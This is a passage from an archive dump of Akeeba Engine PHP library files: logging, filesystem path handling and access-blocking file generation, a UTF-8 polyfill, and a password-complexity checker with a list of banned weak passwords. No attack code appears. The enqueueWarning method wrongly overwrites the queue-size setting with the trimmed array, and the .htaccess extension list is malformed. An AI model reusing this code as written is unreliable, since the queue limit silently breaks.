PK     \7Sr  r  <  vendor/akeeba/engine/engine/Util/Log/WarningsLoggerAware.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Util\Log;

defined('AKEEBAENGINE') || die();

trait WarningsLoggerAware
{
	/**
	 * The warnings in the current queue
	 *
	 * @var string[]
	 */
	private $warningsQueue = [];

	/**
	 * The maximum length of the warnings queue
	 *
	 * @var int
	 */
	private $warningsQueueSize = 0;

	/**
	 * A combination of getWarnings() and resetWarnings(). Returns the warnings and immediately resets the warnings
	 * queue.
	 *
	 * @return array
	 */
	final public function getAndResetWarnings()
	{
		$ret = $this->getWarnings();

		$this->resetWarnings();

		return $ret;
	}

	/**
	 * Returns an array with all warnings logged since the last time warnings were reset. The maximum number of warnings
	 * returned is controlled by setWarningsQueueSize().
	 *
	 * @return array
	 */
	final public function getWarnings()
	{
		return $this->warningsQueue;
	}

	/**
	 * Resets the warnings queue.
	 *
	 * @return void
	 */
	final public function resetWarnings()
	{
		$this->warningsQueue = [];
	}

	/**
	 * Returns the warnings queue size.
	 *
	 * @return int
	 */
	final public function getWarningsQueueSize()
	{
		return $this->warningsQueueSize;
	}

	/**
	 * Set the warnings queue size. A size of 0 means "no limit".
	 *
	 * @param   int  $queueSize  The size of the warnings queue (in number of warnings items)
	 *
	 * @return void
	 */
	final public function setWarningsQueueSize($queueSize = 0)
	{
		if (!is_numeric($queueSize) || empty($queueSize) || ($queueSize < 0))
		{
			$queueSize = 0;
		}

		$this->warningsQueueSize = $queueSize;
	}

	/**
	 * Adds a warning to the warnings queue.
	 *
	 * @param   string  $warning
	 */
	final protected function enqueueWarning($warning)
	{
		$this->warningsQueue[] = $warning;

		// If there is no queue size limit there's nothing else to be done.
		if ($this->warningsQueueSize <= 0)
		{
			return;
		}

		// If the queue size is exceeded remove as many of the earliest elements as required
		if (count($this->warningsQueue) > $this->warningsQueueSize)
		{
			$this->warningsQueueSize = array_slice($this->warningsQueue, -$this->warningsQueueSize);
		}
	}
}
PK     \Sʉ      .  vendor/akeeba/engine/engine/Util/Log/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \Ab8  b8  /  vendor/akeeba/engine/engine/Util/FileSystem.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Util;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;

/**
 * Utility functions related to filesystem objects, e.g. path translation
 */
class FileSystem
{
	/**
	 * Are we running under Windows?
	 *
	 * @var   bool
	 */
	private $isWindows = false;

	/**
	 * Local cache of the platform stock directories
	 *
	 * @var   array|null
	 * @since 7.0.3
	 */
	protected static $stockDirs = null;

	/**
	 * Initialise the object
	 */
	public function __construct()
	{
		$this->isWindows = (DIRECTORY_SEPARATOR == '\\');
	}

	/**
	 * Makes a Windows path more UNIX-like, by turning backslashes to forward slashes.
	 * It takes into account UNC paths, e.g. \\myserver\some\folder becomes
	 * \\myserver/some/folder.
	 *
	 * This function will also fix paths with multiple slashes, e.g. convert /var//www////html to /var/www/html
	 *
	 * @param   string  $p_path  The path to transform
	 *
	 * @return  string
	 */
	public function TranslateWinPath($p_path)
	{
		$is_unc = false;

		if ($this->isWindows)
		{
			// Is this a UNC path?
			$is_unc = (substr($p_path, 0, 2) == '\\\\') || (substr($p_path, 0, 2) == '//');

			// Change potential windows directory separator
			if ((strpos($p_path, '\\') > 0) || (substr($p_path, 0, 1) == '\\'))
			{
				$p_path = strtr($p_path, '\\', '/');
			}
		}

		// Remove multiple slashes
		if (!is_null($p_path))
		{
			$p_path = str_replace('///', '/', $p_path);
			$p_path = str_replace('//', '/', $p_path);
		}

		// Fix UNC paths
		if ($is_unc)
		{
			$p_path = '//' . ltrim($p_path, '/');
		}

		return $p_path;
	}

	/**
	 * Removes trailing slash or backslash from a pathname
	 *
	 * @param   string  $path  The path to treat
	 *
	 * @return  string  The path without the trailing slash/backslash
	 */
	public function TrimTrailingSlash($path)
	{
		$newpath = $path;

		if (substr($path, strlen($path) - 1, 1) == '\\')
		{
			$newpath = substr($path, 0, strlen($path) - 1);
		}

		if (substr($path, strlen($path) - 1, 1) == '/')
		{
			$newpath = substr($path, 0, strlen($path) - 1);
		}

		return $newpath;
	}

	/**
	 * Returns an array with the archive name variables and their values. This is used to replace variables in archive
	 * and directory names, etc.
	 *
	 * If there is a non-empty configuration value called volatile.core.archivenamevars with a serialised array it will
	 * be unserialised and used. Otherwise the name variables will be calculated on-the-fly.
	 *
	 * IMPORTANT: These variables do NOT include paths such as [SITEROOT]
	 *
	 * @return  array
	 */
	public function get_archive_name_variables()
	{
		$variables = [];

		$registry   = Factory::getConfiguration();
		$serialized = $registry->get('volatile.core.archivenamevars', null);

		if (!empty($serialized))
		{
			$variables = @unserialize($serialized);
		}

		if (empty($variables) || !is_array($variables))
		{
			$host         = Platform::getInstance()->get_host();
			$version      = defined('AKEEBA_VERSION') ? AKEEBA_VERSION : 'svn';
			$version      = defined('AKEEBABACKUP_VERSION') ? AKEEBABACKUP_VERSION : $version;
			$platformVars = Platform::getInstance()->getPlatformVersion();

			$siteName = $this->stringUrlUnicodeSlug(Platform::getInstance()->get_site_name());

			if (strlen($siteName) > 50)
			{
				$siteName = substr($siteName, 0, 50);
			}

			/**
			 * Time components. Expressed in whatever timezone the Platform decides to use.
			 */
			// Raw timezone, e.g. "EEST"
			$rawTz = Platform::getInstance()->get_local_timestamp("T");
			// Filename-safe timezone, e.g. "eest". Note the lowercase letters.
			$fsSafeTZ = strtolower(str_replace([' ', '/', ':'], ['_', '_', '_'], $rawTz));

			$randVal = new RandomValue();

			$variables = [
				'[DATE]'             => Platform::getInstance()->get_local_timestamp("Ymd"),
				'[YEAR]'             => Platform::getInstance()->get_local_timestamp("Y"),
				'[MONTH]'            => Platform::getInstance()->get_local_timestamp("m"),
				'[DAY]'              => Platform::getInstance()->get_local_timestamp("d"),
				'[TIME]'             => Platform::getInstance()->get_local_timestamp("His"),
				'[TIME_TZ]'          => Platform::getInstance()->get_local_timestamp("His") . $fsSafeTZ,
				'[WEEK]'             => Platform::getInstance()->get_local_timestamp("W"),
				'[WEEKDAY]'          => Platform::getInstance()->get_local_timestamp("l"),
				'[TZ]'               => $fsSafeTZ,
				'[TZ_RAW]'           => $rawTz,
				'[GMT_OFFSET]'       => Platform::getInstance()->get_local_timestamp("O"),
				'[HOST]'             => empty($host) ? 'unknown_host' : $host,
				'[VERSION]'          => $version,
				'[PLATFORM_NAME]'    => $platformVars['name'],
				'[PLATFORM_VERSION]' => $platformVars['version'],
				'[SITENAME]'         => $siteName,
				'[RANDOM]'           => $randVal->generateString(16, 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789'),
			];
		}

		return $variables;
	}

	/**
	 * Expands the archive name variables in $source. For example "[DATE]-foobar" would be expanded to something
	 * like "141101-foobar". IMPORTANT: These variables do NOT include paths.
	 *
	 * @param   string  $source  The input string, possibly containing variables in the form of [VARIABLE]
	 *
	 * @return  string  The expanded string
	 */
	public function replace_archive_name_variables($source)
	{
		$tagReplacements = $this->get_archive_name_variables();

		return str_replace(array_keys($tagReplacements), array_values($tagReplacements), $source);
	}

	/**
	 * Expand the platform-specific stock directories variables in the input string. For example "[SITEROOT]/foobar"
	 * would be expanded to something like "/var/www/html/mysite/foobar"
	 *
	 * @param   string  $folder               The input string to expand
	 * @param   bool    $translate_win_dirs   Should I translate Windows path separators to UNIX path separators? (default: false)
	 * @param   bool    $trim_trailing_slash  Should I remove the trailing slash (default: false)
	 *
	 * @return  string  The expanded string
	 */
	public function translateStockDirs($folder, $translate_win_dirs = false, $trim_trailing_slash = false)
	{
		if (is_null(self::$stockDirs))
		{
			self::$stockDirs = Platform::getInstance()->get_stock_directories();
		}

		$temp = $folder;

		foreach (self::$stockDirs as $find => $replace)
		{
			$temp = str_replace($find, $replace, $temp);
		}

		if ($translate_win_dirs)
		{
			$temp = $this->TranslateWinPath($temp);
		}

		if ($trim_trailing_slash)
		{
			$temp = $this->TrimTrailingSlash($temp);
		}

		return $temp;
	}

	/**
	 * Rebase a path to the platform filesystem variables (most to least specific).
	 *
	 * This is the inverse procedure of translateStockDirs().
	 *
	 * @param   string  $path
	 *
	 * @return  string
	 * @since   7.3.0
	 */
	public function rebaseFolderToStockDirs(string $path): string
	{
		// Normalize the path
		$path = $this->TrimTrailingSlash($path);
		$path = $this->TranslateWinPath($path);

		// Get the stock directories, normalize them and sort them by longest to shortest
		$stock_directories = Platform::getInstance()->get_stock_directories();

		$stock_directories = array_map(function ($path) {
			$path = $this->TrimTrailingSlash($path);

			return $this->TranslateWinPath($path);
		}, $stock_directories);

		uasort($stock_directories, function ($a, $b) {
			return -($a <=> $b);
		});

		// Start replacing paths with variables
		foreach ($stock_directories as $var => $stockPath)
		{
			if (empty($stockPath))
			{
				continue;
			}

			if (strpos($path, $stockPath) !== 0)
			{
				continue;
			}

			$path = $var . substr($path, strlen($stockPath));
		}

		return $path;
	}

	/**
	 * Generates a set of files which prevent direct web access or at least web listing of the folder contents.
	 *
	 * This method generates a .htaccess for Apache, Lighttpd and Litespeed; a web.config file for IIS 7 or later; an
	 * index.php, index.html and index.htm file for all other browsers.
	 *
	 * Despite this security precaution it is STRONGLY advised to keep your backup archives in a directory outside the
	 * site's web root as explained in the Security Information chapter of the documentation. This method is designed
	 * to only provide a defence of last resort.
	 *
	 * @param   string  $dir    The output directory to secure against web access
	 * @param   bool    $force  Forcibly overwrite existing files
	 *
	 * @return  void
	 * @since   7.0.3
	 */
	public function ensureNoAccess($dir, $force = false)
	{
		// Create a .htaccess file to prevent all web access (Apache 1.3+, Lightspeed, Lighttpd, ...)
		if (!is_file($dir . '/.htaccess') || $force)
		{
			$htaccess = <<< APACHE
## This file was generated automatically by the Akeeba Backup Engine
##
## DO NOT REMOVE THIS FILE
##
## This file makes sure that your backup output directory is not directly accessible from the web if you are using
## the Apache, Lighttpd and Litespeed web server. This prevents unauthorized access to your backup archive files and
## backup log files. Removing this file could have security implications for your site.
##
## You are strongly advised to never delete or modify any of the files automatically created in this folder by the
## Akeeba Backup Engine, namely:
##
## * .htaccess
## * web.config
## * index.html
## * index.htm
## * index.php
##
<IfModule !mod_authz_core.c>
Order deny,allow
Deny from all
</IfModule>
<IfModule mod_authz_core.c>
  <RequireAll>
    Require all denied
  </RequireAll>
</IfModule>
APACHE;

			@file_put_contents($dir . '/.htaccess', $htaccess);
		}

		// Create a web.config to prevent all web access (IIS 7+)
		if (!is_file($dir . '/web.config') || $force)
		{
			$webConfig = <<< XML
<?xml version="1.0"?>
<!--
This file was generated automatically by the Akeeba Backup Engine

DO NOT REMOVE THIS FILE

This file makes sure that your backup output directory is not directly accessible from the web if you are using the
Microsoft Internet Information Services (IIS) web server, version 7 or later. This prevents unauthorized access to your
backup archive files and backup log files. Removing this file could have security implications for your site.

As noted above, this only works on IIS 7 or later.
See https://www.iis.net/configreference/system.webserver/security/requestfiltering/fileextensions

You are strongly advised to never delete or modify any of the files automatically created in this folder by the
Akeeba Backup Engine, namely:

* .htaccess
* web.config
* index.html
* index.htm
* index.php

-->
<configuration>
    <system.webServer>
        <security>
            <requestFiltering>
                <fileExtensions allowUnlisted="false" >
                    <clear />
                    <add fileExtension=".html" allowed="true"/>
                </fileExtensions>
            </requestFiltering>
        </security>
    </system.webServer>
</configuration>
XML;
			@file_put_contents($dir . '/web.config', $webConfig);
		}

		// Create a blank index.html or index.htm to prevent directory listings (all servers)
		$blankHtml = <<< HTML
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
  <head>
    <title>Access Denied</title>
  </head>
  <body>
	  <h1>Access Denied</h1>
  </body>
</html>
HTML;

		if (!is_file($dir . '/index.html') || $force)
		{
			@file_put_contents($dir . '/index.html', $blankHtml);
		}

		if (!is_file($dir . '/index.htm') || $force)
		{
			@file_put_contents($dir . '/index.htm', $blankHtml);
		}

		// Create a default index.php to prevent directory listings with an error (all servers)
		if (!is_file($dir . '/index.php') || $force)
		{
			$deadPHP = '<' . '?' . 'php header(\'HTTP/1.1 403 Forbidden\'); return;' . '?' . ">\n";
			$deadPHP .= <<< TEXT
This file was generated automatically by the Akeeba Backup Engine

DO NOT REMOVE THIS FILE

This file tells your web server to not list the contents of this directory, instead returning an HTTP 403 Forbidden
error. This makes it implausible for a malicious third party to successfully guess the filenames of your backup
archives. Therefore, even if this folder is directly web accessible – despite the .htaccess and web.config file already
put in place by the Akeeba Backup Engine – it will still be reasonably protected against malicious users trying to
download your backup archives.

Please do not remove this file as it could have security implications for your site.

You are strongly advised to never delete or modify any of the files automatically created in this folder by the
Akeeba Backup Engine, namely:

* .htaccess
* web.config
* index.html
* index.htm
* index.php

TEXT;

			@file_put_contents($dir . '/index.php', $deadPHP);
		}
	}

	/**
	 * Convert a string to a (Unicode) slug
	 *
	 * @param   string  $string  String to process
	 *
	 * @return  string  Processed string
	 *
	 * @since   7.5.0
	 */
	public function stringUrlUnicodeSlug(string $string): string
	{
		// Replace double byte whitespaces by single byte (East Asian languages)
		$str = preg_replace('/\xE3\x80\x80/', ' ', $string);

		// Remove any '-' from the string as they will be used as concatenator.
		$str = str_replace('-', ' ', $str);

		// Replace forbidden characters by whitespaces
		$str = preg_replace('#[:\?\#\*"@+=;!><&\.%()\]\/\'\\\\|\[]#', "\x20", $str);

		// Delete all '?'
		$str = str_replace('?', '', $str);

		// Trim white spaces at beginning and end of alias and make lowercase
		$str = trim(strtolower($str));

		// Remove any duplicate whitespace and replace whitespaces by hyphens
		$str = preg_replace('#\x20+#', '-', $str);

		return $str;
	}

}
PK     \I  I  )  vendor/akeeba/engine/engine/Util/Utf8.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Util;

defined('AKEEBAENGINE') || die();

/**
 * Replacement for the utf8_encode and utf8_decode functions on PHP 8.2 and later.
 *
 * @see https://wiki.php.net/rfc/remove_utf8_decode_and_utf8_encode
 */
class Utf8
{
	public static function utf8_encode($s)
	{
		if (function_exists('mb_convert_encoding'))
		{
			return mb_convert_encoding($s, 'UTF-8', 'ISO-8859-1');
		}

		if (class_exists('UConverter'))
		{
			return UConverter::transcode($s, 'UTF8', 'ISO-8859-1');
		}

		if (function_exists('iconv'))
		{
			return iconv('ISO-8859-1', 'UTF-8', $s);
		}

		/**
		 * Fallback to the pure PHP implementation from Symfony Polyfill for PHP 7.2
		 *
		 * @see https://github.com/symfony/polyfill-php72/blob/v1.26.0/Php72.php
		 */
		$s .= $s;
		$len = \strlen($s);

		for ($i = $len >> 1, $j = 0; $i < $len; ++$i, ++$j) {
			switch (true) {
				case $s[$i] < "\x80": $s[$j] = $s[$i]; break;
				case $s[$i] < "\xC0": $s[$j] = "\xC2"; $s[++$j] = $s[$i]; break;
				default: $s[$j] = "\xC3"; $s[++$j] = \chr(\ord($s[$i]) - 64); break;
			}
		}

		return substr($s, 0, $j);
	}

	public static function utf8_decode($s)
	{
		if (function_exists('mb_convert_encoding'))
		{
			return mb_convert_encoding($s, 'ISO-8859-1', 'UTF-8');
		}

		if (class_exists('UConverter'))
		{
			return UConverter::transcode($s, 'ISO-8859-1', 'UTF8');
		}

		if (function_exists('iconv'))
		{
			return iconv('UTF-8', 'ISO-8859-1', $s);
		}

		/**
		 * Fallback to the pure PHP implementation from Symfony Polyfill for PHP 7.2
		 *
		 * @see https://github.com/symfony/polyfill-php72/blob/v1.26.0/Php72.php
		 */
		$s = (string) $s;
		$len = \strlen($s);

		for ($i = 0, $j = 0; $i < $len; ++$i, ++$j) {
			switch ($s[$i] & "\xF0") {
				case "\xC0":
				case "\xD0":
					$c = (\ord($s[$i] & "\x1F") << 6) | \ord($s[++$i] & "\x3F");
					$s[$j] = $c < 256 ? \chr($c) : '?';
					break;

				case "\xF0":
					++$i;
				// no break

				case "\xE0":
					$s[$j] = '?';
					$i += 2;
					break;

				default:
					$s[$j] = $s[$i];
			}
		}

		return substr($s, 0, $j);
	}
}PK     \ˮ'=  =  /  vendor/akeeba/engine/engine/Util/Complexify.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Util;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Platform;
use RuntimeException;

/**
 * PHP port of http://github.com/danpalmer/jquery.complexify.js
 * Retrieved from https://github.com/mcrumley/php-complexify/blob/master/src/Complexify/Complexify.php
 * Error reporting is based on https://github.com/kislyuk/node-complexify
 */
class Complexify
{
	private static $MIN_COMPLEXITY = 66;

	private static $MAX_COMPLEXITY = 120; //  25 chars, all charsets

	private static $CHARSETS = [
		// Commonly Used
		////////////////////
		[0x0020, 0x0020], // Space
		[0x0030, 0x0039], // Numbers
		[0x0041, 0x005A], // Uppercase
		[0x0061, 0x007A], // Lowercase
		[0x0021, 0x002F], // Punctuation
		[0x003A, 0x0040], // Punctuation
		[0x005B, 0x0060], // Punctuation
		[0x007B, 0x007E], // Punctuation
		// Everything Else
		////////////////////
		[0x0080, 0x00FF], // Latin-1 Supplement
		[0x0100, 0x017F], // Latin Extended-A
		[0x0180, 0x024F], // Latin Extended-B
		[0x0250, 0x02AF], // IPA Extensions
		[0x02B0, 0x02FF], // Spacing Modifier Letters
		[0x0300, 0x036F], // Combining Diacritical Marks
		[0x0370, 0x03FF], // Greek
		[0x0400, 0x04FF], // Cyrillic
		[0x0530, 0x058F], // Armenian
		[0x0590, 0x05FF], // Hebrew
		[0x0600, 0x06FF], // Arabic
		[0x0700, 0x074F], // Syriac
		[0x0780, 0x07BF], // Thaana
		[0x0900, 0x097F], // Devanagari
		[0x0980, 0x09FF], // Bengali
		[0x0A00, 0x0A7F], // Gurmukhi
		[0x0A80, 0x0AFF], // Gujarati
		[0x0B00, 0x0B7F], // Oriya
		[0x0B80, 0x0BFF], // Tamil
		[0x0C00, 0x0C7F], // Telugu
		[0x0C80, 0x0CFF], // Kannada
		[0x0D00, 0x0D7F], // Malayalam
		[0x0D80, 0x0DFF], // Sinhala
		[0x0E00, 0x0E7F], // Thai
		[0x0E80, 0x0EFF], // Lao
		[0x0F00, 0x0FFF], // Tibetan
		[0x1000, 0x109F], // Myanmar
		[0x10A0, 0x10FF], // Georgian
		[0x1100, 0x11FF], // Hangul Jamo
		[0x1200, 0x137F], // Ethiopic
		[0x13A0, 0x13FF], // Cherokee
		[0x1400, 0x167F], // Unified Canadian Aboriginal Syllabics
		[0x1680, 0x169F], // Ogham
		[0x16A0, 0x16FF], // Runic
		[0x1780, 0x17FF], // Khmer
		[0x1800, 0x18AF], // Mongolian
		[0x1E00, 0x1EFF], // Latin Extended Additional
		[0x1F00, 0x1FFF], // Greek Extended
		[0x2000, 0x206F], // General Punctuation
		[0x2070, 0x209F], // Superscripts and Subscripts
		[0x20A0, 0x20CF], // Currency Symbols
		[0x20D0, 0x20FF], // Combining Marks for Symbols
		[0x2100, 0x214F], // Letterlike Symbols
		[0x2150, 0x218F], // Number Forms
		[0x2190, 0x21FF], // Arrows
		[0x2200, 0x22FF], // Mathematical Operators
		[0x2300, 0x23FF], // Miscellaneous Technical
		[0x2400, 0x243F], // Control Pictures
		[0x2440, 0x245F], // Optical Character Recognition
		[0x2460, 0x24FF], // Enclosed Alphanumerics
		[0x2500, 0x257F], // Box Drawing
		[0x2580, 0x259F], // Block Elements
		[0x25A0, 0x25FF], // Geometric Shapes
		[0x2600, 0x26FF], // Miscellaneous Symbols
		[0x2700, 0x27BF], // Dingbats
		[0x2800, 0x28FF], // Braille Patterns
		[0x2E80, 0x2EFF], // CJK Radicals Supplement
		[0x2F00, 0x2FDF], // Kangxi Radicals
		[0x2FF0, 0x2FFF], // Ideographic Description Characters
		[0x3000, 0x303F], // CJK Symbols and Punctuation
		[0x3040, 0x309F], // Hiragana
		[0x30A0, 0x30FF], // Katakana
		[0x3100, 0x312F], // Bopomofo
		[0x3130, 0x318F], // Hangul Compatibility Jamo
		[0x3190, 0x319F], // Kanbun
		[0x31A0, 0x31BF], // Bopomofo Extended
		[0x3200, 0x32FF], // Enclosed CJK Letters and Months
		[0x3300, 0x33FF], // CJK Compatibility
		[0x3400, 0x4DB5], // CJK Unified Ideographs Extension A
		[0x4E00, 0x9FFF], // CJK Unified Ideographs
		[0xA000, 0xA48F], // Yi Syllables
		[0xA490, 0xA4CF], // Yi Radicals
		[0xAC00, 0xD7A3], // Hangul Syllables
		[0xD800, 0xDB7F], // High Surrogates
		[0xDB80, 0xDBFF], // High Private Use Surrogates
		[0xDC00, 0xDFFF], // Low Surrogates
		[0xE000, 0xF8FF], // Private Use
		[0xF900, 0xFAFF], // CJK Compatibility Ideographs
		[0xFB00, 0xFB4F], // Alphabetic Presentation Forms
		[0xFB50, 0xFDFF], // Arabic Presentation Forms-A
		[0xFE20, 0xFE2F], // Combining Half Marks
		[0xFE30, 0xFE4F], // CJK Compatibility Forms
		[0xFE50, 0xFE6F], // Small Form Variants
		[0xFE70, 0xFEFE], // Arabic Presentation Forms-B
		[0xFEFF, 0xFEFF], // Specials
		[0xFF00, 0xFFEF], // Halfwidth and Fullwidth Forms
		[0xFFF0, 0xFFFD]  // Specials
	];

	// Generated from 500 worst passwords and 370 Banned Twitter lists found at
	// @source http://www.skullsecurity.org/wiki/index.php/Passwords
	private static $BANLIST = [
		'0', '1111', '1212', '1234', '1313', '2000', '2112', '2222',
		'3333', '4128', '4321', '4444', '5150', '5555', '6666', '6969', '7777', 'aaaa',
		'alex', 'asdf', 'baby', 'bear', 'beer', 'bill', 'blue', 'cock', 'cool', 'cunt',
		'dave', 'dick', 'eric', 'fire', 'fish', 'ford', 'fred', 'fuck', 'girl', 'golf',
		'jack', 'jake', 'john', 'king', 'love', 'mark', 'matt', 'mike', 'mine', 'pass',
		'paul', 'porn', 'rock', 'sexy', 'shit', 'slut', 'star', 'test', 'time', 'tits',
		'wolf', 'xxxx', '11111', '12345', 'angel', 'apple', 'beach', 'billy', 'bitch',
		'black', 'boobs', 'booty', 'brian', 'bubba', 'buddy', 'chevy', 'chris', 'cream',
		'david', 'dirty', 'eagle', 'enjoy', 'enter', 'frank', 'girls', 'great', 'green',
		'happy', 'hello', 'horny', 'house', 'james', 'japan', 'jason', 'juice', 'kelly',
		'kevin', 'kitty', 'lover', 'lucky', 'magic', 'money', 'movie', 'music', 'naked',
		'ou812', 'paris', 'penis', 'peter', 'porno', 'power', 'pussy', 'qwert', 'sammy',
		'scott', 'smith', 'stars', 'steve', 'super', 'teens', 'tiger', 'video', 'viper',
		'white', 'women', 'xxxxx', 'young', '111111', '112233', '121212', '123123',
		'123456', '131313', '232323', '654321', '666666', '696969', '777777', '987654',
		'aaaaaa', 'abc123', 'abcdef', 'access', 'action', 'albert', 'alexis', 'amanda',
		'andrea', 'andrew', 'angela', 'angels', 'animal', 'apollo', 'apples', 'arthur',
		'asdfgh', 'ashley', 'august', 'austin', 'badboy', 'bailey', 'banana', 'barney',
		'batman', 'beaver', 'beavis', 'bigdog', 'birdie', 'biteme', 'blazer', 'blonde',
		'blowme', 'bonnie', 'booboo', 'booger', 'boomer', 'boston', 'brandy', 'braves',
		'brazil', 'bronco', 'buster', 'butter', 'calvin', 'camaro', 'canada', 'carlos',
		'carter', 'casper', 'cheese', 'coffee', 'compaq', 'cookie', 'cooper', 'cowboy',
		'dakota', 'dallas', 'daniel', 'debbie', 'dennis', 'diablo', 'doctor', 'doggie',
		'donald', 'dragon', 'dreams', 'driver', 'eagle1', 'eagles', 'edward', 'erotic',
		'falcon', 'fender', 'flower', 'flyers', 'freddy', 'fucked', 'fucker', 'fuckme',
		'gators', 'gemini', 'george', 'giants', 'ginger', 'golden', 'golfer', 'gordon',
		'guitar', 'gunner', 'hammer', 'hannah', 'harley', 'helpme', 'hentai', 'hockey',
		'horney', 'hotdog', 'hunter', 'iceman', 'iwantu', 'jackie', 'jaguar', 'jasper',
		'jeremy', 'johnny', 'jordan', 'joseph', 'joshua', 'junior', 'justin', 'killer',
		'knight', 'ladies', 'lakers', 'lauren', 'legend', 'little', 'london', 'lovers',
		'maddog', 'maggie', 'magnum', 'marine', 'martin', 'marvin', 'master', 'matrix',
		'member', 'merlin', 'mickey', 'miller', 'monica', 'monkey', 'morgan', 'mother',
		'muffin', 'murphy', 'nascar', 'nathan', 'nicole', 'nipple', 'oliver', 'orange',
		'parker', 'peanut', 'pepper', 'player', 'please', 'pookie', 'prince', 'purple',
		'qazwsx', 'qwerty', 'rabbit', 'rachel', 'racing', 'ranger', 'redsox', 'robert',
		'rocket', 'runner', 'russia', 'samson', 'sandra', 'saturn', 'scooby', 'secret',
		'sexsex', 'shadow', 'shaved', 'sierra', 'silver', 'skippy', 'slayer', 'smokey',
		'snoopy', 'soccer', 'sophie', 'spanky', 'sparky', 'spider', 'squirt', 'steven',
		'sticky', 'stupid', 'suckit', 'summer', 'surfer', 'sydney', 'taylor', 'tennis',
		'teresa', 'tester', 'theman', 'thomas', 'tigers', 'tigger', 'tomcat', 'topgun',
		'toyota', 'travis', 'tucker', 'turtle', 'united', 'vagina', 'victor', 'viking',
		'voodoo', 'walter', 'willie', 'wilson', 'winner', 'winter', 'wizard', 'xavier',
		'xxxxxx', 'yamaha', 'yankee', 'yellow', 'zxcvbn', 'zzzzzz', '1234567', '7777777',
		'8675309', 'abgrtyu', 'amateur', 'anthony', 'arsenal', 'asshole', 'bigcock',
		'bigdick', 'bigtits', 'bitches', 'blondes', 'blowjob', 'bond007', 'brandon',
		'broncos', 'bulldog', 'cameron', 'captain', 'charles', 'charlie', 'chelsea',
		'chester', 'chicago', 'chicken', 'college', 'cowboys', 'crystal', 'cumming',
		'cumshot', 'diamond', 'dolphin', 'extreme', 'ferrari', 'fishing', 'florida',
		'forever', 'freedom', 'fucking', 'fuckyou', 'gandalf', 'gateway', 'gregory',
		'heather', 'hooters', 'hunting', 'jackson', 'jasmine', 'jessica', 'johnson',
		'leather', 'letmein', 'madison', 'matthew', 'maxwell', 'melissa', 'michael',
		'monster', 'mustang', 'naughty', 'ncc1701', 'newyork', 'nipples', 'packers',
		'panther', 'panties', 'patrick', 'peaches', 'phantom', 'phoenix', 'porsche',
		'private', 'pussies', 'raiders', 'rainbow', 'rangers', 'rebecca', 'richard',
		'rosebud', 'scooter', 'scorpio', 'shannon', 'success', 'testing', 'thunder',
		'thx1138', 'tiffany', 'trouble', 'twitter', 'voyager', 'warrior', 'welcome',
		'william', 'winston', 'yankees', 'zxcvbnm', '11111111', '12345678', 'access14',
		'baseball', 'bigdaddy', 'butthead', 'cocacola', 'computer', 'corvette',
		'danielle', 'dolphins', 'einstein', 'firebird', 'football', 'hardcore',
		'iloveyou', 'internet', 'jennifer', 'marlboro', 'maverick', 'mercedes',
		'michelle', 'midnight', 'mistress', 'mountain', 'nicholas', 'password',
		'princess', 'qwertyui', 'redskins', 'redwings', 'rush2112', 'samantha',
		'scorpion', 'srinivas', 'startrek', 'starwars', 'steelers', 'sunshine',
